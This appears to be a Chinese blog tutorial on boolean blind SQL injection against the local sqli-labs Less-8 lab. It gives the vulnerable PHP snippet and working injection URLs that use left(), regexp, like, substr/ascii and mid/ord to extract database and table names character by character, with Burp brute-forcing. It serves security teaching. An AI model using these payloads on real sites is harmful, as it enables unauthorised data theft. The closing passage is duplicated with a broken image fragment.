5.布尔盲注

注入我们已经有了简单的概念,然而,就是在sql注入过程中,某些sql语句的执行结果被程序限制不回显到前端,这时候我们只能用一些别的方法进行判断或者尝试,这个判断或尝试过程就叫盲注。


什么是布尔盲注

布尔是判断真假,那么布尔盲注就是通过判断真假的方式来判断或尝试的注入攻击

<?php
error_reporting(E_ALL&~E_WARNING);	//设置错误等级至WARNING不报错
include("../sql-connections/sql-connect.php");	//引入sqlilabs配置文件连接数据库
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
	echo "Right";
}
else{
	echo "Wrong";
}

来看一个简单的例子,这代码简单来说就是如果执行成功打印Right,失败了打印Wrong。他不会再去打印过多的错误信息,这个时候我们就需要通过构造语句,来判断数据库信息的正确性,再通过页面返回的真假来识别我们判断的是否正确


布尔盲注的方法

构造逻辑判断语句,判断信息真假,取出所有的真值,实现SQL注入

判断注入点

首先判断注入点,盲注是没有直接的回显的,我们需要判断页面是否能够正常显示来确定注入点

http://127.0.0.1/Less-8/?id=1

页面正常显示

image-20200729111014915

http://127.0.0.1/Less-8/?id=1'
http://127.0.0.1/Less-8/?id=1' and '1' ='2

页面不显示

image-20200729111045570

http://127.0.0.1/Less-8/?id=1' and '1' ='1

页面再次正常显示

image-20200729111014915

说明这里就是注入点

常用方法

left0函数

left(database(),1)>'s'

database()显示数据库名称,left(a,b)从左侧截取a的前b位

http://127.0.0.1/Less-8/?id=1' and left((select database()),1)='s'-- #

我们使用第八关来测试

image-20200725143012557

当前库名字的第一位如果为s则显示,不是s则不返回

我们导入burp进行爆破测试,爆破点还是测试数据s

image-20200725161625813

然后直接进行爆破,查看返回长度,发现数值为s的时候,与其他的不相符合,然后再次进行爆破

修改代码为

http://127.0.0.1/Less-8/?id=1' and left((select database()),2)='sa'-- #

将sa的a作为爆破点,直到爆出完整名称

regexp

select user() regexp '^r'       

正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式

mysql正则表达式:https://www.runoob.com/mysql/mysql-regexp.html

^表示匹配输入字符串的开始位置,即从输入开始判断字符串

http://127.0.0.1/Less-8/?id=1' and (select database()) regexp '^se'-- #

意思是前两位是se开头(也可以s开头),如果是则返回You are in…,不是则不返回

image-20200730161027178

在里面可直接增加字符

对数据表进行布尔盲注爆破

http://127.0.0.1/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^se'-- #

image-20200730161854574

like

select user() like 'ro%'

与regexp类似,使用like进行匹配

http://127.0.0.1/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) like 'e%'-- #

以e开头,如果是则返回You are in…,不是则不返回

subst()函数和ascii()函数

ascii(substr((select database()),1,1))=98

substr(a,b,c)从b位置开始,截取字符串a的c长度。ascii()将某个字符转换为ascii值,使用ascii值可以绕过一些不能使用单引号的场景

字符串截取后比较ascii

http://127.0.0.1/Less-8/?id=1' and ascii(substr((select database()),1,1))=115-- #

s的ascii码是115,所以这里能够正常返回

image-20200730172224632

ord()函数和mid()函数

ord(mid((select user()),1,1))=114

mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符串转为ascii值,由于使用方式同subst()函数和ascii()函数,就不再演示了

1598410879419)]

ord()函数和mid()函数

ord(mid((select user()),1,1))=114

mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符串转为ascii值,由于使用方式同subst()函数和ascii()函数,就不再演示了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值